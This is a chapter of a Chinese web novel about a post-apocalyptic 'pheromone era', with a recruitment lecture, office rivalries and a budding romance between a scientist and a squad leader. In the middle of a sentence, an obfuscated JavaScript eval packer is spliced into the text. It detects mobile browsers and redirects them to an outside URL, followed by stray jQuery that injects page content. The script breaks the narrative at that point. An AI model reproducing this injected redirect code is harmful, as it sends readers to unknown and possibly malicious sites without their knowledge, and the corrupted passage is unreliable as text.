17. 第 17 章
作品:《末世恋爱天才》 教育局大会堂,巨幕上放着课件,幕布脚下一座瘦长的讲台显得十分渺小,除了阴影中的白发旧有些显眼外,主讲人张主任没有出现特写镜头。
她的穿着中规中矩,五官被遮挡在一副黑框眼镜下,手腕上带戴了一只表,除此以外什么也没有了。
台下人山人海,不同的校服色块填充满了两层的场地。
本场讲座的主题非常直白,也是张节勍定的——《为什么要学习信息素专业》。
“为什么学习信息素专业?这个问题的答案很简单,因为如果没有人学,人类就会灭绝,你就会死得更快。”张节勍看着并没有写这些话的演讲稿,简单粗暴、通俗易懂地发表演讲,“不信的话就去禁区转转,当然国家不让小孩子去的,你们看看禁区的一百种死法纪录片就好了。未成年想去禁区只有一条路,那就是选择信息素专业。”
领导们:……??!!!
初中生们嗷嗷叫:“我要去禁区!让我去禁区!”
在这个非常热血的年纪,禁区就是他们心中的冒险圣地啊!
三层楼的会场席位成了猴山,老师们艰难地维护秩序。
“禁区里拥有世界上最混杂最危险的高密度信息素分子,昨天有个逃犯误闯禁区,从屏蔽针失效到昏厥只经过了三十秒。
“如果没有人找到他,再过二十秒,他就会因为脑缺氧进入休克,休克后的几秒到十几秒内,就会死亡。全过程不用一分钟,请看VCR。”
那是老陆的执法记录仪,截取了一段高清无马赛克的贾安水边抽搐视频,只有不到十秒的画面,让全场瞬间惊呼尖叫,随后渐渐不再吵闹。
张节勍对此十分很满意。
“我们想要活下来,就必须知道我们的生命是怎么从亿万年前死里逃生保存下来的?
“接下来我们会听到一个高频词,演化,全球共演中的‘演’,就是演化的演。”
“众所周知,包括人类在内的所有陆地脊椎动物的祖都来自海洋,追根溯源,生命都有一个共同的真核细胞祖先。
“上亿万年时光见证,生命的演化之路朴素又花哨、草率又精致、耐心又暴躁……要知道,生命不是多么严谨的自然构成,它日复一日地缝缝补补,它处处都是bug,只是巧合地,有些bug可以在当下运行,而有些不能。
“回到现在这个节点,生命又一次开启了新的演化。”
巨幕上在播放的生命演化短片,是不周山资料库里的动画。
周愚审核了张节勍的稿件之后,亲自做的这个课件,就怕张节勍往里加塞一些奇怪的鬼点子。
“在全球共演的信息素时代环境下,不同的生物演化路径不同,但最后所有的生物殊途同归,完成了信息素资料共享,我愿称之为地球圈语言大一统。”
她突如其来的中二和热血,让熟悉她的人都纷纷低下了头颅。
赵霁站在台下近处,听得很认真,他太板正了,都没觉得最后一句只是调侃,甚至让他耳目一新。
张节勍回到了正题:“人类能够解读所有生物信息素的原因是,嗅球和脑垂体合作演化形成了一个新感知器官——脑丘腺体,简称腺体。
“出现这一演化方向的重要因素有四个:近视、鼻炎、耳鸣和丧失味觉。”
张节勍声音通过设备扩大覆盖了整个空间。
会场到此才真正安静下来,交头接耳的学生也忘记了小话话题,入迷地望向讲台方向。
“第一重要的因素是近视。
“近视有一定的遗传几率,人类的历史有三百多万年,近视的基因遗传历史也有三百多万年。将近三百多年前,近视现象完成全球化,高度近视、遗传近视现象爆发式增长。
“基因发现你的一扇门打不开了,它大概率是不会去修复这扇门的,它有自己的节奏和鬼点子。近视基因没有得到修复或调整,基因选择了强化嗅觉。”
有的人开始耸动自己的鼻子,或是用力呼吸,却没觉得自己的嗅觉得到了强化,于是纷纷面露疑惑。
而有的人还在那儿做眼保健操。
“有的人成为了超级嗅觉进化者,无数种气味的无孔不入成为一种新型污染,他们的生活也不比现在的人类轻松太多。
“但嗅觉进化只是少数,因为鼻炎成为了大多数人类嗅觉进化路上的阻碍。
“因此,影响腺体演化的第二重因素,就是鼻炎。
“在人类活动的地方,粉尘,花粉,尘螨等等因素,让大部分的人类遭受鼻炎的困扰,逃都逃不掉。”
“虽然大多数人的嗅觉加强失败,但嗅球的演化也再此埋下了伏笔。”
“相同的时间段,生活压力给社会人类造成的耳鸣现象也开始出现全球化,实验显示,听力优化过程在人类成年期,约16~26岁阶段,渐渐停滞,直至终止。
“心理性耳鸣并不会遗传,遗传性耳鸣不足以影响到全球的人类,所以耳鸣能够作为影响腺体演化的第三个因素,和几百年来的人类生态圈有直接关系。”
一组组统计图表在巨幕上罗列出来,人口密度的增长引发了资源焦虑,竞争变得十分激烈,心里问题造成的死亡占比越来越大,一个个血淋淋的数据,都在无声地宣告着自然规律对人类的绞杀早已开始,而三年前的“腰斩”人类,只是一次G潮。
“如果说前三种因素都有不可抗力的成分,那么第四种就纯纯是人类手笔,有那么一种人类,他们制造病毒、细菌,用于感染其他人类。据研究调查统计,在过去三百多年的历史中,每年都有病毒被投放到人类中。
“这些病毒90%以上都会导致味觉失灵。”
张节勍做了个互动,在场的校领导老师们都出现过味觉失灵,学生中也有几十个。
稿子不长,很快就到了尾声。
“基因突变一直都在发生,血型种类给出了最直观的趋势。
“2019年,医生发现了独特的瓜德阴性血型,该血型的成因是独特的基因突变,2025年完成血型认证,至此全球血型种类突破48种。此后的一年又一年里,人们发现的因基因突变导致血型种类增加的案例越来越多。
“科学家们不得不直面一个事实——人类基因已经开始手忙脚乱了。世界是一个巨大的草台班子,基因也是,我们的构成并没有多么的精密严谨,都是一堆可以运行的bug而已。
“人类与自然和谐相处、和谐共生的过程其实一点也不和谐,截至目前为止,它仍然只是一句漂亮的口号。
“生物界的其他物种,其实也在同一时间里,发生了和人类同样的事,只不过没有多少人发现。”
“x354年,纸包不住火了,生物演化并轨,全球共演开始。”
“在古诗中,死人写作‘归人’,活人则是‘行人’。全球共演,自然界大洗牌,九十四亿远行客,四十九亿当归人。”
“谁也无法确定人类下一刻会遇到什么?我们的后代会变成什么?但是我们可以预测、干扰、控制,选择信息素专业,当命运的洗牌手。”
张节勍的演讲结束,同学们还在震撼的情绪中,久久不能冷静,教育部的招生表适时地发到了每个人的手上。
当即填报志愿!
提前批!
不影响正常志愿流程!
当场拐人走信息素方向,提交的志愿表是去年的四倍!
KPI超额完成!
撒花!!
会场热情洋溢一呼百应的,不是教堂有疯狂信徒就是超市有大促销。
在人声鼎沸的热闹之下,赵霁还在走神:
既然全球共演是不可阻挡的,人力无法干预,那么10009号催化剂在这场全球共演中的作用微乎其微,它只是一支零点几毫升的催化剂而已。
他收敛心神,示意蒋萃守护好张主任,自己走到一边练习周愚。
赵霁:[最初张节勍的通缉令是谁签署的?]
周愚没有回信,可能是在开会。
赵霁没来由的少了许多耐性,又找了部下。
赵霁:[最初张节勍的通缉令是谁签署的?能不能找得到?]
高虔:[不敢保证,不周山成立之初太混乱了。队长,发现什么疑点了?]
赵霁:[嗯,你去档案室找找,问起来就说是我要了解张主任]
“偷偷躲在这里做什么?”张节勍突然找过来,吓了他一条。
一看就是又和别人在背后说她坏话,张节勍已经习惯了,非常淡定地把手上的腕表摘下来,递过去。
赵霁没接,依旧捏着手机。
金属手表很重的,张节勍又往前递了递:“要我给你戴上啊?”
赵霁抿唇,终于接了过去。
教育局肯定会摄像记录,张节勍不可能带着电子手铐上台。
终于有间隙获得“自由”了,张节勍却握着手腕说不习惯,要戴戴赵霁的腕表。
别人的不要,就要赵霁的。
银灰色镶钻刻纹的腕表,不是特行处的装备,是赵霁自己的。
腕表回来后,赵霁珍惜地检查了一遍,才放心戴回。
会议室外面的走廊上人流如织,学生有序离开,整个走廊上全是声音。
“居然真的只是一个单纯的专家招生讲座,还以为又是煽情-妈妈我爱你-卖书赠签名的垃圾玩意儿呢。”
“嘿!还真是!我就说怎么今天离开时有种还没结束的感觉,原来是少了这两个环节!”
“讲得好好啊!以前学校请的专家把我当韭菜,这个专家把我当天才。这就是区别!!我还记下了这个专家的名字,张节勍。”
“快搜搜!”
“原来她这么年轻!!!”
“哇塞!”
“不周山科技院,哦,原来电视上说的不周山是这里。”
“不然呢,你以为是神话里的不周山吗?”
“切,肯定不止我一个人这样误会过。”
“不周山的专家还能染发,染的还是很挑人的白发,好时尚哦张主任。”
“她跟我姐一样大,我姐也爱染头发。张主任真好看,啧!”
校园巴士集散区,太阳太大了,没上车的初中生门在各处阴影中叽叽喳喳地乘凉。
大家又看见迟迟才出来的专家团队,几个不周山特行处簇拥着张专家走出来,炙热的阳光下,张专家的头发白得耀眼、白得发光。
“那个手表怎么在旁边的特行手上?”
“啊?”
“我坐在前排,在讲座上看见这表明明是戴在专家手上的。”
“哦~?有趣。”
“我也看见了的,还看了好几眼,因为那个表真的挺好看,现在专家手腕上没有表了。”
就在这时,万众暗中瞩目的白毛主任抬头遮掩看向了太阳,看口型是说了句:“好晒啊。”
那个最高大身材比例最好的特行就把帽子摘了下来,扣到了她的头顶上。
不近不远的距离,围观的少年们发出高低不一的惊呼。
“有文吗?知识分子和暴力机器的CP甜文。”
“有古早文,不知道你吃不吃古早粮?”
“吃!我博览古今,尤其是三百多年前的绿晋江古文,我大吃特吃。”
小孩子们的喧闹传递不到沉浸在忙碌世界中的成年人身边,帽子当头罩下的那一刻,张节勍都直呼神奇,太阳从西边出来了:“你今天……嗯?”
这么主动?搞得她骚话都不敢说了。
要是别人,张节勍肯定要想想对方是不是有所图谋,可是这个人是赵霁,按着他图谋都不干的超正值莽夫。
赵霁还不没找好说辞,副市长就来找他们说正事了,他站在赵霁另一侧热情招呼:“张主任、赵队长!你们定好什么时候走了吗?”
张节勍探头:“要给我们准备送行宴吗?”
“不可以办送行宴。”赵霁赶紧小声解释,并把她探出来的脑袋推了回去,“抱歉,柳局,张主任刚从海外回来……”
柳局看他们互动嘿嘿笑起来:“不碍事不碍事,我是说,省里已经组织好了前往不周山培训的警察队伍,准备包飞机去。既然大家目的地都是不周山,一块走顺路,也更方便。你们还要解押一名通缉犯回去,跟我们走,那更是上了一个绝对保险。”
他说的很合理,赵霁也很心动:“现在就要看医院那边,贾安什么时候可以转移。”
“我帮问过了,三天后能转普通病房。”柳局说,“培训队伍四天后出发,要不要咱们互相等一等?”
培训也是特行处负责,路上能拉进一下距离,赵霁点头:“可以。”
警察的信息素专项培训即将热血展开,张节勍有些看好戏地幸灾乐祸:“真忙啊特行处,回去就参与培训,你们仨连个假都放不了了。”
回去后她首先笑不出来了,飞机刚落地,张节勍接看到了公告,警察培训的前两期为理论培训,张节勍是其中讲师之一。
蒋萃在她耳边哈哈大笑:“主任!主任!笑早了吧哈哈哈!!!”
张节勍致电周愚大院长:“警察和特行处相关性更大吧?他们自己出讲师,应该也够用的,没听说过特行处也要在科技院上课的传统啊?”
干嘛又给她找活儿干。
“我不干。”张节勍手上一个项目也没有,她的办公室就一个助理李乡江,和光杆司令没差别。
周愚说:“特行处扩员,调整完结构再安排特行培训,你师兄过两天就回来了,不想和他打照面就去特行处帮忙讲讲课,到那边打卡去。”
张节勍别扭了一会儿:“……行吧。”
刚回来的这一天她可以休息,警察是铁人,特行处是铁人,她和李乡江不是。
李乡江整理出了她家主任的课表:“主任,你的课程是《国外信息素按揭解析》,每天晚上从七点半讲到九点半。”
“不愧是政客啊……”张节勍感叹,不周山又在旁敲侧击套她的信息了。
李乡江问:“要备课吗?”
张节勍痛心疾首,往助理妹妹的肩上重重拍下:“算了吧江江!咱两才拿多少工资啊?年薪二十万,放三百多年前,这点工资都不值得我们备课!!”
李乡江甩了甩膀子:“嘿嘿!有道理!”
听到这话,她就只知道自己跟对人了嘿嘿!!
特行处扩员,一个队变成三个队,一队队长高虔,二队老陆,三队蒋萃。
赵霁升行动总指挥,和海义的副处长平起平坐。
由于缺人,处长的位置依旧由周愚兼职。
“最近海义到时挺老实的。”文斗喝着酸梅汤在办公室里闲聊。
孙红星不敢苟同:“老头儿静悄悄,一定要作妖。”
等到高虔进来,大家纷纷恭喜:“高队!!恭喜高升啊!!!”
高虔人逢喜事精神爽:“没想到这么快就把顶头上司熬走了哈哈哈哈哈!”
“咳咳,”赵霁又神出鬼没地出现在门口,“通知三个队的队长和副队,来105开会。”
张节勍闲来无事,睡到中午十二点,饿着肚子下楼去服务区吃凉皮,然后等着园区的摆渡车,不忘初心地去了大门口特行处营区。
营区虽大,张节勍依旧发现多了好多陌生面孔。
培训的警察都认得她,路上遇见了还有会跟她打招呼,一个两个往食堂区:“主任吃了吗?”
“主任我请你吃饭!!”
“主任今天不穿制服了,是放假吗?”
“我放假哦,今天晚上给你们上课。已经吃过了,再见!”张节勍刚才还半死不活的,跟他们打完招呼都觉得自己更有活力了。
这地方,阳气果真高质又足量!
文斗和孙红星从主楼里走下来,人手一个蓝色文件夹,边下台阶边说着什么。
“张!张主任!”孙红星停了下来,后背挺直。
文斗跟她一样,两人停下来,跟行注目礼似的看着张节勍:“主任……来约、约会?”
张节勍今天穿得是自首那天的衣服,包括五颜六色的头绳和五颜六色的手串,背上背了一个牛仔书包,一边侧面放雨伞
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896001|176186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,一边侧面放水杯,和学生一样。
她看着两人的表情,十分满意:“你们队长呢?”
“在105会议室”孙红星往大楼里面指去,又多嘴到,“哎——主任主任!赵队现在是总指挥了。”
文斗挤眉弄眼:“要叫赵总指挥。”
张节勍只是在论坛里听了一耳朵,不知道特行处的躯体情况:“哦?那你们呢?”
两人嘚瑟地立正暗喜:“以后要叫副队了!”
“恭喜恭喜,我先去找赵总指挥了!”张节勍脚步轻快往台阶上跑,一头白发活泼悦动,具现化了主人的好心情。
105很好找,就在大厅隔壁,张节勍见门开着,就站了过去,会议室里面只有赵霁一个人了,他在收拾台面上七七八八的纸张文件。
突然他手上一顿,侧头往门口看了过来,表情很意外:“你怎么来了?”
张节勍和别人说着恭喜,和赵霁却懒得说:“你中午要加班吗?”
赵霁突然单脚后退几厘米:“你要干嘛?”
“跟我去逛街啊。”张节勍提醒他,“你要陪我逛两次街哦。”
赵霁认输似的挣扎:“我知道……但一定要大中午去逛街吗?逛哪里?怎么逛?逛多久?”
怎么又那么多问题啊,张节勍摇头又摆手:“出门就行,而且我中午饭都吃了,又不会要你陪我吃饭。”
“你吃过午饭了?我还没吃呢,今天中午就算了吧!改天!”赵霁难得对自己曾经做出、或者被动做出的承诺一推再推。
遇到张节勍之后,他已经开始不能共情过去那个死板的循规蹈矩的自己了,有些事情,确实可以灵活一点。
赵霁收好了文件就逃。
张节勍就抓着书包肩带追着出去,不顾周围有人,大声嚷嚷:“赵霁!!!你变了!!你以前可不是这样的!!你敢耍我我就弄死你!!!!”
两人你追我逃地往大门跑过来,倒霉地撞上了周愚和海义,两人身后还跟着几个手提公文包的。
周愚看清追逐打闹的人之后,差点被空气呛到。
海义也是一愣,随后常规教育:“赵霁你别太飘了!打打闹闹也不分场合。”
“的确把我吓了一跳,”后面那位灰色西装的青年嘴角挂上讥笑,“差点以为自己回到了中学的教学楼,一到放学的点,就有小情侣打情骂俏地跑出来。”
周愚抢在赵霁前面岔开话题:“年轻人有活力挺好的,刘副院长提前回来了,正好,赵霁,跟我们上楼开个小会。”
赵霁没动,刚刚跑的那股劲儿也都收了起来,一副公事公办的稳重样子。
可是有人就是不嫌事大的,最爱火上浇油,“跑两步怎么了,就跑!”张节勍一看赵霁停下来并且知道大事不妙,追上来的时候那些领导们都把话说完了。
看得人真是火气大,尤其是周愚身侧那个阴阳怪气的灰西装,从国外开会回来的副院长——她的师兄,刘深。
刘深185大个子,西装笔挺,架一副银边眼睛,儒雅中带着威严,他从看到张节勍起就没有好脸色。
张节勍无所谓,她回来只是为了赵霁,别人都不在乎。
“你张节勍当然跑,”刘深锐利的眼神钉在昔日的同门师妹身上,“赵霁队长还是小心点好,我这个师妹为什么跑出去躲躲藏藏你是知道的,她惯会背叛别人,精致的利己主义者。”
赵霁对他说:“通缉令是谁签的,诏安令又是谁签的?既然张节勍被允许回来了,那就是自己人,你还要扣这种帽子的话,那就把签字的——”
“够了!”海义出来打圆场,“行了行了,都少说两句。”
大家你看我我看你,最后发现,某两人还在眼神对峙,介于他们多出来的那一层关系,旁人实在不知道要怎么插手。
于是,局面又僵下来。
当年,邓光文教授座下三名弟子:大师兄刘深、二师姐白璟、小师妹张节勍。
教授和白璟已经去世,如今,仅剩的师兄妹剑拔弩张,势同水火。
这样是不行的,周愚看了眼赵霁,把他往张节勍方向一推,但是赵霁核心稳,他没有推动:“放你半天假,和、和、和张主任去玩儿吧!”
张节勍一听,喜上眉梢,还真是塞翁失马焉知非福,“好呀好呀。”她抓住赵霁的手臂一把将人拉过来,亲亲秘密的,“这下就皆大欢喜了!”
赵霁罕见地什么反应也没有。
张节勍拉着他往外走,经过刘深身边,就听到他的嘲讽:“你确实变了,师妹,变得十分肤浅,果然是外面的价值观更适合你。”
说完,他大踏步先行离开。
张节勍对着刘深往里去的背影大喊:“我看上谁还轮不到你来评价!你算老几?!”
最后动了动嘴皮子,最刻薄的话还是没有骂出来。
“我走了。”赵霁说。
张节勍不骂了,回头看着他,他也看着张节勍。
“现在,你得跟我去逛街了。”张节勍拉住他,“这个逛街假可是周院长特批的,你要是不去,我就让周院长帮你在会议室上留个座位。”
“嗯,但我要去吃饭。”赵霁转头走出平台,下楼梯走进阳光里。
张节勍在后面,大胆地摸了摸赵霁后背的战术腰带:“逛街的话,你要回去换衣服吗?”
赵霁走路越来越快:“换啊,热死了。”
就这样,张节勍跟着赵霁到了他的家门口。
她扒在门框上,兴奋地往里面张望,发现里面跟她家没什么两样:“你在这待了三年,都没有置办过什么私人家具吗?”
“托你的福,没回来过几次。”赵霁没好气地换鞋,往里走,“我去换衣服,你随意。”
意思就是想进就进,他不会把她丢出去的。
天呐,只是帮赵霁顶撞了领导,赵霁就这么被她迷的忘记初心了?
赵霁都允许了,不进太吃亏。
张节勍刚刚见到鞋柜里都是他自己的鞋,没有客人可以换的拖鞋,地上就那么的干净,实在是舍不得把外面的鞋穿进去,可是她有袜子不能踩在地板上的个人习惯,于是连袜子也脱了,赤脚进门。
进门后看到了更多房子的模样,张节勍再次确认,这就是跟她没有住过几天的宿舍一模一样。
在客厅里转了一圈,张节勍听到了浴室里有淋浴声,她抬头看时间,马上都要下午一点钟了,赵霁是不是故意这么磨蹭的?
她又等了五分钟,这是极限了,赵霁洗澡用得了这么久吗!要是不想出去跟他逛街就不要再浪费她的时间,她可以马上跟周愚打小报告,然后把人送过去开会!
张节勍来到主卧门口,在门口踟蹰不前,脑子里又闪过赵霁那句“你随意”,便继续闯进去。
她站在主卫门口,透过磨砂的玻璃,依稀能够辨认出里面的高大身影。
“你到底还要洗多久?”张节勍站在原地,叉着腰催促道,“时间不多的,我晚上要回来上课——”
门开了,水声还没停,她下意识捂着脸转过背。
赵霁看她这样心里纳闷,张节勍不羞不臊的居然也会背过去?
张节勍也反省过了,赶紧转过来,满心的期待下,看见赵霁穿着宽松的圆领短袖和五分球裤,穿着大大的人字拖鞋,一身黑的站在门里。
“早上我这栋楼停过水,水是黄色的,我放了八分钟。”他的怨念也很深。
张节勍:“哦,现在洗好了吗?”
赵霁:“嗯,但——”
张节勍直接坐在他床边的高脚凳上,腿在空中一摇一晃:“你的衣服都换好了啊,但什么?”
赵霁继续但:“我发现我上个月攒了一堆袜子没洗。”
张节勍仰脸,扶额,面露苦色。
就在赵霁嘴角要勾起来之前,她很无语地看向他:“花八分钟拆一堆新袜子装邋遢大王真是辛苦你了。”
赵霁嘴角放平。
“现在是信息素时代,闻得出来的,”张节勍跳下凳子来,两手插兜,“好哥哥,你没有脑袋的样子也是帅爆了。”